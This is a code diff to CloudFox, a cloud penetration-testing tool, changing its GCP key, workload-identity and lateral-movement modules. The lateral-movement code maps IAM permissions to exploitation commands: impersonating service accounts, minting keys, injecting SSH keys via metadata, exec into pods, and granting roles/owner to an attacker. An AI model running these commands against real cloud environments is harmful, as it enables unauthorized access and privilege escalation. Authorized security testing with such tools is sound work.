return "BROAD: Any identity from issuer"
|
||||
case "SAML":
|
||||
return "BROAD: Any SAML assertion"
|
||||
default:
|
||||
return "BROAD: No condition set"
|
||||
}
|
||||
}
|
||||
|
||||
cond := p.AttributeCondition
|
||||
var issues []string
|
||||
|
||||
// Check for wildcard patterns in the condition
|
||||
if strings.Contains(cond, `"*"`) || strings.Contains(cond, `'*'`) {
|
||||
issues = append(issues, "wildcard (*) in condition")
|
||||
}
|
||||
|
||||
// GitHub Actions specific analysis
|
||||
if p.ProviderType == "OIDC" && strings.Contains(p.OIDCIssuerURI, "github") {
|
||||
// Check if repo is scoped
|
||||
if !strings.Contains(cond, "repository") && !strings.Contains(cond, "repo") {
|
||||
issues = append(issues, "no repo restriction")
|
||||
}
|
||||
|
||||
// Check if branch/ref is scoped
|
||||
if strings.Contains(cond, "repository") || strings.Contains(cond, "repo") {
|
||||
if !strings.Contains(cond, "ref") && !strings.Contains(cond, "branch") {
|
||||
issues = append(issues, "no branch restriction")
|
||||
}
|
||||
}
|
||||
|
||||
// Check for org-wide trust (repo starts with org/)
|
||||
if strings.Contains(cond, ".startsWith(") {
|
||||
issues = append(issues, "prefix match (org-wide?)")
|
||||
}
|
||||
}
|
||||
|
||||
// GitLab CI specific analysis
|
||||
if p.ProviderType == "OIDC" && strings.Contains(p.OIDCIssuerURI, "gitlab") {
|
||||
if !strings.Contains(cond, "project_path") && !strings.Contains(cond, "namespace_path") {
|
||||
issues = append(issues, "no project restriction")
|
||||
}
|
||||
if !strings.Contains(cond, "ref") && !strings.Contains(cond, "branch") {
|
||||
issues = append(issues, "no branch restriction")
|
||||
}
|
||||
}
|
||||
|
||||
// AWS specific analysis
|
||||
if p.ProviderType == "AWS" {
|
||||
if !strings.Contains(cond, "arn") && !strings.Contains(cond, "account") {
|
||||
issues = append(issues, "no role/account restriction")
|
||||
}
|
||||
}
|
||||
|
||||
if len(issues) > 0 {
|
||||
return "BROAD: " + strings.Join(issues, ", ")
|
||||
}
|
||||
|
||||
return "Scoped"
|
||||
}
|
||||
Regular → Executable
+81
-3
@@ -55,7 +55,7 @@ type UnifiedKeyInfo struct {
|
||||
|
||||
type KeysModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectKeys map[string][]UnifiedKeyInfo // projectID -> keys
|
||||
ProjectKeys map[string][]UnifiedKeyInfo // projectID -> keys
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
mu sync.Mutex
|
||||
}
|
||||
@@ -269,6 +269,10 @@ func (m *KeysModule) processProject(ctx context.Context, projectID string, logge
|
||||
Name: "keys-apikey-test-commands",
|
||||
Contents: "# API Key Test Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
m.LootMap[projectID]["keys-enumeration-commands"] = &internal.LootFile{
|
||||
Name: "keys-enumeration-commands",
|
||||
Contents: "# Key Enumeration Commands\n# Generated by CloudFox\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
for _, key := range projectKeys {
|
||||
@@ -279,6 +283,50 @@ func (m *KeysModule) processProject(ctx context.Context, projectID string, logge
|
||||
|
||||
func (m *KeysModule) addKeyToLoot(projectID string, key UnifiedKeyInfo) {
|
||||
switch key.KeyType {
|
||||
case "SA Key":
|
||||
// Add enumeration commands for user-managed SA keys, especially old ones
|
||||
if key.Origin == "User Managed" {
|
||||
lootFile := m.LootMap[projectID]["keys-enumeration-commands"]
|
||||
if lootFile != nil {
|
||||
age := "-"
|
||||
ageWarning := ""
|
||||
if !key.CreateTime.IsZero() {
|
||||
ageDuration := time.Since(key.CreateTime)
|
||||
age = formatKeyAge(ageDuration)
|
||||
days := int(ageDuration.Hours() / 24)
|
||||
if days >= 365 {
|
||||
ageWarning = " [OLD KEY - " + age + "]"
|
||||
} else if days >= 90 {
|
||||
ageWarning = " [" + age + " old]"
|
||||
}
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# SA Key: %s%s\n"+
|
||||
"# Service Account: %s\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Created: %s (Age: %s)\n"+
|
||||
"# Origin: %s\n\n"+
|
||||
"# List all keys for this service account:\n"+
|
||||
"gcloud iam service-accounts keys list --iam-account=%s --project=%s\n\n"+
|
||||
"# Describe specific key:\n"+
|
||||
"gcloud iam service-accounts keys get-public-key %s --iam-account=%s --project=%s\n\n",
|
||||
key.KeyID,
|
||||
ageWarning,
|
||||
key.Owner,
|
||||
key.ProjectID,
|
||||
key.CreateTime.Format("2006-01-02"),
|
||||
age,
|
||||
key.Origin,
|
||||
key.Owner,
|
||||
key.ProjectID,
|
||||
key.KeyID,
|
||||
key.Owner,
|
||||
key.ProjectID,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
case "HMAC":
|
||||
if key.State == "ACTIVE" {
|
||||
lootFile := m.LootMap[projectID]["keys-hmac-s3-commands"]
|
||||
@@ -344,6 +392,7 @@ func (m *KeysModule) getTableHeader() []string {
|
||||
"State",
|
||||
"Created",
|
||||
"Expires",
|
||||
"Age",
|
||||
"DWD",
|
||||
"Restrictions",
|
||||
}
|
||||
@@ -358,6 +407,12 @@ func (m *KeysModule) keysToTableBody(keys []UnifiedKeyInfo) [][]string {
|
||||
created = key.CreateTime.Format("2006-01-02")
|
||||
}
|
||||
|
||||
// Calculate age
|
||||
age := "-"
|
||||
if !key.CreateTime.IsZero() {
|
||||
age = formatKeyAge(time.Since(key.CreateTime))
|
||||
}
|
||||
|
||||
expires := "-"
|
||||
if !key.ExpireTime.IsZero() {
|
||||
// Check for "never expires" (year 9999)
|
||||
@@ -398,6 +453,7 @@ func (m *KeysModule) keysToTableBody(keys []UnifiedKeyInfo) [][]string {
|
||||
key.State,
|
||||
created,
|
||||
expires,
|
||||
age,
|
||||
dwd,
|
||||
restrictions,
|
||||
})
|
||||
@@ -405,6 +461,28 @@ func (m *KeysModule) keysToTableBody(keys []UnifiedKeyInfo) [][]string {
|
||||
return body
|
||||
}
|
||||
|
||||
// formatKeyAge formats a duration into a human-readable age string
|
||||
func formatKeyAge(d time.Duration) string {
|
||||
days := int(d.Hours() / 24)
|
||||
if days >= 365 {
|
||||
years := days / 365
|
||||
remainingDays := days % 365
|
||||
months := remainingDays / 30
|
||||
if months > 0 {
|
||||
return fmt.Sprintf("%dy %dm", years, months)
|
||||
}
|
||||
return fmt.Sprintf("%dy", years)
|
||||
} else if days >= 30 {
|
||||
months := days / 30
|
||||
remainingDays := days % 30
|
||||
if remainingDays > 0 {
|
||||
return fmt.Sprintf("%dm %dd", months, remainingDays)
|
||||
}
|
||||
return fmt.Sprintf("%dm", months)
|
||||
}
|
||||
return fmt.Sprintf("%dd", days)
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *KeysModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
@@ -424,7 +502,7 @@ func (m *KeysModule) writeHierarchicalOutput(ctx context.Context, logger interna
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
if loot != nil && loot.Contents != "" && !isEmptyLootFile(loot.Contents) {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
@@ -458,7 +536,7 @@ func (m *KeysModule) writeFlatOutput(ctx context.Context, logger internal.Logger
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
if loot != nil && loot.Contents != "" && !isEmptyLootFile(loot.Contents) {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
|
||||
Regular → Executable
+317
-100
@@ -79,6 +79,9 @@ type LateralMovementModule struct {
|
||||
FoxMapperFindings []foxmapperservice.LateralFinding // FoxMapper-based findings
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache
|
||||
|
||||
// OrgCache for ancestry lookups
|
||||
OrgCache *gcpinternal.OrgCache
|
||||
|
||||
// Loot
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
mu sync.Mutex
|
||||
@@ -121,6 +124,15 @@ func runGCPLateralMovementCommand(cmd *cobra.Command, args []string) {
|
||||
func (m *LateralMovementModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
logger.InfoM("Mapping lateral movement paths...", GCP_LATERALMOVEMENT_MODULE_NAME)
|
||||
|
||||
// Load OrgCache for ancestry lookups (needed for per-project filtering)
|
||||
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
|
||||
if m.OrgCache == nil || !m.OrgCache.IsPopulated() {
|
||||
diskCache, _, err := gcpinternal.LoadOrgCacheFromFile(m.OutputDirectory, m.Account)
|
||||
if err == nil && diskCache != nil && diskCache.IsPopulated() {
|
||||
m.OrgCache = diskCache
|
||||
}
|
||||
}
|
||||
|
||||
// Get FoxMapper cache from context or try to load it
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
if m.FoxMapperCache == nil || !m.FoxMapperCache.IsPopulated() {
|
||||
@@ -144,7 +156,11 @@ func (m *LateralMovementModule) Execute(ctx context.Context, logger internal.Log
|
||||
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
logger.InfoM("Analyzing permission-based lateral movement using FoxMapper...", GCP_LATERALMOVEMENT_MODULE_NAME)
|
||||
svc := m.FoxMapperCache.GetService()
|
||||
m.FoxMapperFindings = svc.AnalyzeLateral("")
|
||||
allFindings := svc.AnalyzeLateral("")
|
||||
|
||||
// Filter findings to only include principals from specified projects
|
||||
m.FoxMapperFindings = m.filterFindingsByProjects(allFindings)
|
||||
|
||||
if len(m.FoxMapperFindings) > 0 {
|
||||
logger.InfoM(fmt.Sprintf("Found %d permission-based lateral movement techniques", len(m.FoxMapperFindings)), GCP_LATERALMOVEMENT_MODULE_NAME)
|
||||
}
|
||||
@@ -174,6 +190,37 @@ func (m *LateralMovementModule) Execute(ctx context.Context, logger internal.Log
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// filterFindingsByProjects filters FoxMapper findings to only include principals
|
||||
// from the specified projects (via -p or -l flags) OR principals without a clear project
|
||||
func (m *LateralMovementModule) filterFindingsByProjects(findings []foxmapperservice.LateralFinding) []foxmapperservice.LateralFinding {
|
||||
// Build a set of specified project IDs for fast lookup
|
||||
specifiedProjects := make(map[string]bool)
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
specifiedProjects[projectID] = true
|
||||
}
|
||||
|
||||
var filtered []foxmapperservice.LateralFinding
|
||||
|
||||
for _, finding := range findings {
|
||||
var filteredPrincipals []foxmapperservice.PrincipalAccess
|
||||
for _, p := range finding.Principals {
|
||||
principalProject := extractProjectFromPrincipal(p.Principal, m.OrgCache)
|
||||
// Include if: SA from specified project OR user/group (no project)
|
||||
if specifiedProjects[principalProject] || principalProject == "" {
|
||||
filteredPrincipals = append(filteredPrincipals, p)
|
||||
}
|
||||
}
|
||||
|
||||
if len(filteredPrincipals) > 0 {
|
||||
filteredFinding := finding
|
||||
filteredFinding.Principals = filteredPrincipals
|
||||
filtered = append(filtered, filteredFinding)
|
||||
}
|
||||
}
|
||||
|
||||
return filtered
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
@@ -187,56 +234,140 @@ func (m *LateralMovementModule) initializeLootForProject(projectID string) {
|
||||
}
|
||||
}
|
||||
|
||||
func (m *LateralMovementModule) generatePlaybook() *internal.LootFile {
|
||||
// getLateralExploitCommand returns specific exploitation commands for a lateral movement permission
|
||||
func getLateralExploitCommand(permission, principal, project string) string {
|
||||
commands := map[string]string{
|
||||
// Service Account Impersonation
|
||||
"iam.serviceAccounts.getAccessToken": "gcloud auth print-access-token --impersonate-service-account=TARGET_SA",
|
||||
"iam.serviceAccountKeys.create": "gcloud iam service-accounts keys create key.json --iam-account=TARGET_SA",
|
||||
"iam.serviceAccounts.signBlob": "gcloud iam service-accounts sign-blob --iam-account=TARGET_SA input.txt output.sig",
|
||||
"iam.serviceAccounts.signJwt": "# Sign JWT to impersonate SA\ngcloud iam service-accounts sign-jwt --iam-account=TARGET_SA claim.json signed.jwt",
|
||||
"iam.serviceAccounts.getOpenIdToken": "gcloud auth print-identity-token --impersonate-service-account=TARGET_SA",
|
||||
"iam.serviceAccounts.actAs": "# actAs allows deploying resources with this SA\ngcloud run deploy SERVICE --service-account=TARGET_SA",
|
||||
|
||||
// Compute Access
|
||||
"compute.instances.osLogin": "gcloud compute ssh INSTANCE --zone=ZONE --project=PROJECT",
|
||||
"compute.instances.setMetadata": "gcloud compute instances add-metadata INSTANCE --zone=ZONE --metadata=ssh-keys=\"user:$(cat ~/.ssh/id_rsa.pub)\"",
|
||||
"compute.projects.setCommonInstanceMetadata": "gcloud compute project-info add-metadata --metadata=ssh-keys=\"user:$(cat ~/.ssh/id_rsa.pub)\"",
|
||||
"compute.instances.getSerialPortOutput": "gcloud compute instances get-serial-port-output INSTANCE --zone=ZONE",
|
||||
|
||||
// GKE Access
|
||||
"container.clusters.getCredentials": "gcloud container clusters get-credentials CLUSTER --zone=ZONE --project=PROJECT",
|
||||
"container.pods.exec": "kubectl exec -it POD -- /bin/sh",
|
||||
"container.pods.attach": "kubectl attach -it POD",
|
||||
|
||||
// Serverless
|
||||
"cloudfunctions.functions.create": "gcloud functions deploy FUNC --runtime=python311 --service-account=TARGET_SA --trigger-http",
|
||||
"cloudfunctions.functions.update": "gcloud functions deploy FUNC --service-account=TARGET_SA",
|
||||
"run.services.create": "gcloud run deploy SERVICE --image=IMAGE --service-account=TARGET_SA",
|
||||
"run.services.update": "gcloud run services update SERVICE --service-account=TARGET_SA",
|
||||
|
||||
// IAM Policy Modification
|
||||
"resourcemanager.projects.setIamPolicy": "gcloud projects add-iam-policy-binding PROJECT --member=user:ATTACKER --role=roles/owner",
|
||||
"resourcemanager.folders.setIamPolicy": "gcloud resource-manager folders add-iam-policy-binding FOLDER_ID --member=user:ATTACKER --role=roles/owner",
|
||||
"resourcemanager.organizations.setIamPolicy": "gcloud organizations add-iam-policy-binding ORG_ID --member=user:ATTACKER --role=roles/owner",
|
||||
}
|
||||
|
||||
cmd, ok := commands[permission]
|
||||
if !ok {
|
||||
return fmt.Sprintf("# No specific command for %s - check gcloud documentation", permission)
|
||||
}
|
||||
|
||||
if project != "" && project != "-" {
|
||||
cmd = strings.ReplaceAll(cmd, "PROJECT", project)
|
||||
}
|
||||
|
||||
return cmd
|
||||
}
|
||||
|
||||
// generatePlaybookForProject generates a loot file specific to a project
|
||||
func (m *LateralMovementModule) generatePlaybookForProject(projectID string) *internal.LootFile {
|
||||
var sb strings.Builder
|
||||
sb.WriteString("# GCP Lateral Movement Playbook\n")
|
||||
sb.WriteString("# GCP Lateral Movement Commands\n")
|
||||
sb.WriteString(fmt.Sprintf("# Project: %s\n", projectID))
|
||||
sb.WriteString("# Generated by CloudFox\n\n")
|
||||
|
||||
// Token theft vectors
|
||||
if len(m.AllPaths) > 0 {
|
||||
// Token theft vectors for this project
|
||||
if paths, ok := m.ProjectPaths[projectID]; ok && len(paths) > 0 {
|
||||
sb.WriteString("## Token Theft Vectors\n\n")
|
||||
|
||||
// Group by category
|
||||
byCategory := make(map[string][]LateralMovementPath)
|
||||
for _, path := range m.AllPaths {
|
||||
byCategory[path.Category] = append(byCategory[path.Category], path)
|
||||
for _, path := range paths {
|
||||
sb.WriteString(fmt.Sprintf("### %s -> %s\n", path.Source, path.Target))
|
||||
sb.WriteString(fmt.Sprintf("# Method: %s\n", path.Method))
|
||||
sb.WriteString(fmt.Sprintf("# Category: %s\n", path.Category))
|
||||
if path.ExploitCommand != "" {
|
||||
sb.WriteString(path.ExploitCommand)
|
||||
sb.WriteString("\n\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for category, paths := range byCategory {
|
||||
sb.WriteString(fmt.Sprintf("### %s\n\n", category))
|
||||
for _, path := range paths {
|
||||
sb.WriteString(fmt.Sprintf("**%s → %s**\n", path.Source, path.Target))
|
||||
sb.WriteString(fmt.Sprintf("- Method: %s\n", path.Method))
|
||||
sb.WriteString(fmt.Sprintf("- Risk: %s\n", path.RiskLevel))
|
||||
sb.WriteString(fmt.Sprintf("- Description: %s\n\n", path.Description))
|
||||
if path.ExploitCommand != "" {
|
||||
sb.WriteString("```bash\n")
|
||||
sb.WriteString(path.ExploitCommand)
|
||||
sb.WriteString("\n```\n\n")
|
||||
// Permission-based findings - filter to this project's principals + users/groups
|
||||
if len(m.FoxMapperFindings) > 0 {
|
||||
hasFindings := false
|
||||
|
||||
for _, finding := range m.FoxMapperFindings {
|
||||
var relevantPrincipals []foxmapperservice.PrincipalAccess
|
||||
|
||||
for _, p := range finding.Principals {
|
||||
principalProject := extractProjectFromPrincipal(p.Principal, m.OrgCache)
|
||||
if principalProject == projectID || principalProject == "" {
|
||||
relevantPrincipals = append(relevantPrincipals, p)
|
||||
}
|
||||
}
|
||||
|
||||
if len(relevantPrincipals) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
if !hasFindings {
|
||||
sb.WriteString("## Permission-Based Lateral Movement Commands\n\n")
|
||||
hasFindings = true
|
||||
}
|
||||
|
||||
sb.WriteString(fmt.Sprintf("### %s (%s)\n", finding.Permission, finding.Category))
|
||||
sb.WriteString(fmt.Sprintf("# %s\n\n", finding.Description))
|
||||
|
||||
for _, p := range relevantPrincipals {
|
||||
project := extractProjectFromPrincipal(p.Principal, m.OrgCache)
|
||||
if project == "" {
|
||||
project = projectID
|
||||
}
|
||||
|
||||
principalType := p.MemberType
|
||||
if principalType == "" {
|
||||
if p.IsServiceAccount {
|
||||
principalType = "serviceAccount"
|
||||
} else {
|
||||
principalType = "user"
|
||||
}
|
||||
}
|
||||
|
||||
sb.WriteString(fmt.Sprintf("## %s (%s)\n", p.Principal, principalType))
|
||||
|
||||
if p.IsServiceAccount {
|
||||
sb.WriteString(fmt.Sprintf("# Impersonate first:\ngcloud config set auth/impersonate_service_account %s\n\n", p.Principal))
|
||||
}
|
||||
|
||||
cmd := getLateralExploitCommand(finding.Permission, p.Principal, project)
|
||||
sb.WriteString(cmd)
|
||||
sb.WriteString("\n\n")
|
||||
|
||||
if p.IsServiceAccount {
|
||||
sb.WriteString("# Reset impersonation when done:\n# gcloud config unset auth/impersonate_service_account\n\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Permission-based findings from FoxMapper
|
||||
if len(m.FoxMapperFindings) > 0 {
|
||||
sb.WriteString("## Permission-Based Lateral Movement Techniques\n\n")
|
||||
for _, finding := range m.FoxMapperFindings {
|
||||
sb.WriteString(fmt.Sprintf("### %s (%s)\n", finding.Technique, finding.Category))
|
||||
sb.WriteString(fmt.Sprintf("- Permission: %s\n", finding.Permission))
|
||||
sb.WriteString(fmt.Sprintf("- Description: %s\n", finding.Description))
|
||||
sb.WriteString(fmt.Sprintf("- Principals with access: %d\n\n", len(finding.Principals)))
|
||||
if finding.Exploitation != "" {
|
||||
sb.WriteString("```bash\n")
|
||||
sb.WriteString(finding.Exploitation)
|
||||
sb.WriteString("\n```\n\n")
|
||||
}
|
||||
}
|
||||
contents := sb.String()
|
||||
if contents == fmt.Sprintf("# GCP Lateral Movement Commands\n# Project: %s\n# Generated by CloudFox\n\n", projectID) {
|
||||
return nil
|
||||
}
|
||||
|
||||
return &internal.LootFile{
|
||||
Name: "lateral-movement-playbook",
|
||||
Contents: sb.String(),
|
||||
Name: "lateral-movement-commands",
|
||||
Contents: contents,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -620,11 +751,13 @@ func (m *LateralMovementModule) getHeader() []string {
|
||||
|
||||
func (m *LateralMovementModule) getFoxMapperHeader() []string {
|
||||
return []string{
|
||||
"Technique",
|
||||
"Scope Type",
|
||||
"Scope ID",
|
||||
"Principal Type",
|
||||
"Principal",
|
||||
"Category",
|
||||
"Permission",
|
||||
"Description",
|
||||
"Principal Count",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -644,76 +777,173 @@ func (m *LateralMovementModule) pathsToTableBody(paths []LateralMovementPath) []
|
||||
return body
|
||||
}
|
||||
|
||||
// foxMapperFindingsForProject returns findings for a specific project
|
||||
// Includes: SAs from that project + users/groups (which can access any project)
|
||||
// Also filters by scope: only org/folder/project findings in the project's hierarchy
|
||||
func (m *LateralMovementModule) foxMapperFindingsForProject(projectID string) [][]string {
|
||||
var body [][]string
|
||||
|
||||
// Get ancestor folders and org for filtering
|
||||
var ancestorFolders []string
|
||||
var projectOrgID string
|
||||
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
|
||||
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
|
||||
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
|
||||
}
|
||||
ancestorFolderSet := make(map[string]bool)
|
||||
for _, f := range ancestorFolders {
|
||||
ancestorFolderSet[f] = true
|
||||
}
|
||||
|
||||
for _, f := range m.FoxMapperFindings {
|
||||
for _, p := range f.Principals {
|
||||
principalProject := extractProjectFromPrincipal(p.Principal, m.OrgCache)
|
||||
|
||||
// Include if: SA from this project OR user/group (no project)
|
||||
if principalProject != projectID && principalProject != "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// Filter by scope hierarchy
|
||||
if !m.scopeMatchesProject(p.ScopeType, p.ScopeID, projectID, projectOrgID, ancestorFolderSet) {
|
||||
continue
|
||||
}
|
||||
|
||||
principalType := p.MemberType
|
||||
if principalType == "" {
|
||||
if p.IsServiceAccount {
|
||||
principalType = "serviceAccount"
|
||||
} else {
|
||||
principalType = "user"
|
||||
}
|
||||
}
|
||||
|
||||
scopeType := p.ScopeType
|
||||
if scopeType == "" {
|
||||
scopeType = "-"
|
||||
}
|
||||
scopeID := p.ScopeID
|
||||
if scopeID == "" {
|
||||
scopeID = "-"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
scopeType,
|
||||
scopeID,
|
||||
principalType,
|
||||
p.Principal,
|
||||
f.Category,
|
||||
f.Permission,
|
||||
f.Description,
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// foxMapperFindingsToTableBody returns all findings (for flat output)
|
||||
func (m *LateralMovementModule) foxMapperFindingsToTableBody() [][]string {
|
||||
var body [][]string
|
||||
for _, f := range m.FoxMapperFindings {
|
||||
body = append(body, []string{
|
||||
f.Technique,
|
||||
f.Category,
|
||||
f.Permission,
|
||||
f.Description,
|
||||
fmt.Sprintf("%d", len(f.Principals)),
|
||||
})
|
||||
for _, p := range f.Principals {
|
||||
principalType := p.MemberType
|
||||
if principalType == "" {
|
||||
if p.IsServiceAccount {
|
||||
principalType = "serviceAccount"
|
||||
} else {
|
||||
principalType = "user"
|
||||
}
|
||||
}
|
||||
|
||||
scopeType := p.ScopeType
|
||||
if scopeType == "" {
|
||||
scopeType = "-"
|
||||
}
|
||||
scopeID := p.ScopeID
|
||||
if scopeID == "" {
|
||||
scopeID = "-"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
scopeType,
|
||||
scopeID,
|
||||
principalType,
|
||||
p.Principal,
|
||||
f.Category,
|
||||
f.Permission,
|
||||
f.Description,
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *LateralMovementModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
// No longer outputting the old lateral-movement table
|
||||
// All findings are now in lateral-movement-permissions
|
||||
return []internal.TableFile{}
|
||||
}
|
||||
|
||||
if paths, ok := m.ProjectPaths[projectID]; ok && len(paths) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "lateral-movement",
|
||||
Header: m.getHeader(),
|
||||
Body: m.pathsToTableBody(paths),
|
||||
})
|
||||
// scopeMatchesProject checks if a scope (org/folder/project) is in the hierarchy for a project
|
||||
func (m *LateralMovementModule) scopeMatchesProject(scopeType, scopeID, projectID, projectOrgID string, ancestorFolderSet map[string]bool) bool {
|
||||
if scopeType == "" || scopeID == "" {
|
||||
// No scope info - include by default
|
||||
return true
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
switch scopeType {
|
||||
case "project":
|
||||
return scopeID == projectID
|
||||
case "organization":
|
||||
if projectOrgID != "" {
|
||||
return scopeID == projectOrgID
|
||||
}
|
||||
// No org info - include by default
|
||||
return true
|
||||
case "folder":
|
||||
if len(ancestorFolderSet) > 0 {
|
||||
return ancestorFolderSet[scopeID]
|
||||
}
|
||||
// No folder info - include by default
|
||||
return true
|
||||
case "resource":
|
||||
// Resource-level - include by default
|
||||
return true
|
||||
default:
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
func (m *LateralMovementModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
FolderLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Generate playbook once for all projects
|
||||
playbook := m.generatePlaybook()
|
||||
playbookAdded := false
|
||||
|
||||
// Iterate over ALL projects, not just ones with enumerated paths
|
||||
// Process each specified project
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add playbook to first project only
|
||||
if playbook != nil && playbook.Contents != "" && !playbookAdded {
|
||||
lootFiles = append(lootFiles, *playbook)
|
||||
playbookAdded = true
|
||||
}
|
||||
|
||||
// Add FoxMapper findings table to first project only
|
||||
if len(m.FoxMapperFindings) > 0 && projectID == m.ProjectIDs[0] {
|
||||
// Add FoxMapper findings table for this project (the only table now)
|
||||
foxMapperBody := m.foxMapperFindingsForProject(projectID)
|
||||
if len(foxMapperBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "lateral-movement-permissions",
|
||||
Header: m.getFoxMapperHeader(),
|
||||
Body: m.foxMapperFindingsToTableBody(),
|
||||
Body: foxMapperBody,
|
||||
})
|
||||
}
|
||||
|
||||
// Only add to output if we have tables or loot
|
||||
if len(tableFiles) > 0 || len(lootFiles) > 0 {
|
||||
outputData.ProjectLevelData[projectID] = LateralMovementOutput{Table: tableFiles, Loot: lootFiles}
|
||||
// Add project-specific playbook (only one loot file per project)
|
||||
var lootFiles []internal.LootFile
|
||||
playbook := m.generatePlaybookForProject(projectID)
|
||||
if playbook != nil && playbook.Contents != "" {
|
||||
lootFiles = append(lootFiles, *playbook)
|
||||
}
|
||||
|
||||
// Always add all specified projects to output
|
||||
outputData.ProjectLevelData[projectID] = LateralMovementOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
@@ -727,14 +957,7 @@ func (m *LateralMovementModule) writeHierarchicalOutput(ctx context.Context, log
|
||||
func (m *LateralMovementModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
tables := []internal.TableFile{}
|
||||
|
||||
if len(m.AllPaths) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "lateral-movement",
|
||||
Header: m.getHeader(),
|
||||
Body: m.pathsToTableBody(m.AllPaths),
|
||||
})
|
||||
}
|
||||
|
||||
// Only output the permissions table (not the old lateral-movement table)
|
||||
if len(m.FoxMapperFindings) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "lateral-movement-permissions",
|
||||
@@ -743,22 +966,16 @@ func (m *LateralMovementModule) writeFlatOutput(ctx context.Context, logger inte
|
||||
})
|
||||
}
|
||||
|
||||
// Collect loot files
|
||||
// Add per-project playbooks
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
playbook := m.generatePlaybookForProject(projectID)
|
||||
if playbook != nil && playbook.Contents != "" {
|
||||
playbook.Name = fmt.Sprintf("lateral-movement-commands-%s", projectID)
|
||||
lootFiles = append(lootFiles, *playbook)
|
||||
}
|
||||
}
|
||||
|
||||
// Add playbook
|
||||
playbook := m.generatePlaybook()
|
||||
if playbook != nil && playbook.Contents != "" {
|
||||
lootFiles = append(lootFiles, *playbook)
|
||||
}
|
||||
|
||||
output := LateralMovementOutput{
|
||||
Table: tables,
|
||||
Loot: lootFiles,
|
||||
|
||||
Regular → Executable
+26
-6
@@ -1,12 +1,13 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
|
||||
